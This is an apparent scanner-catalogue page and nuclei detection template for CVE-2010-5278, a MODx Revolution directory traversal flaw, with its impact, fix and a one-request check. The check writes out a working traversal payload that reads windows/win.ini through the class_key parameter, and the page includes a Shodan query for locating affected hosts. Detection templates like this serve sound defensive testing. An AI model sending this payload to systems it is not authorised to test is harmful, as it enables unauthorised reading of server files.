MODx manager - Local File Inclusion

mediumseverity

4.3CVSS score

18.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl and possibly earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter when magic_quotes_gpc is disabled.

Impact

An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.

Fix

Apply the latest patches and updates provided by MODx to fix the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../windows/win.ini%00
Positive when: contains "bit app support" and "fonts" and "extensions" AND status 200

Run it with nuclei: nuclei -id CVE-2010-5278 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-5278

info:
  name: MODx manager - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl and possibly earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter when magic_quotes_gpc is disabled.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Apply the latest patches and updates provided by MODx to fix the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/34788
    - https://nvd.nist.gov/vuln/detail/CVE-2010-5278
    - http://packetstormsecurity.org/1009-exploits/modx202pl-lfi.txt
    - http://modxcms.com/forums/index.php/topic,55104.0.html
    - http://modxcms.com/forums/index.php/topic,55105.msg317273.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2010-5278
    cwe-id: CWE-22
    epss-score: 0.18633
    epss-percentile: 0.97287
    cpe: cpe:2.3:a:modx:modx_revolution:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: modx
    product: modx_revolution
    shodan-query: cpe:"cpe:2.3:a:modx:modx_revolution"
  tags: cve,cve2010,lfi,edb,packetstorm,modx,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../windows/win.ini%00"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200

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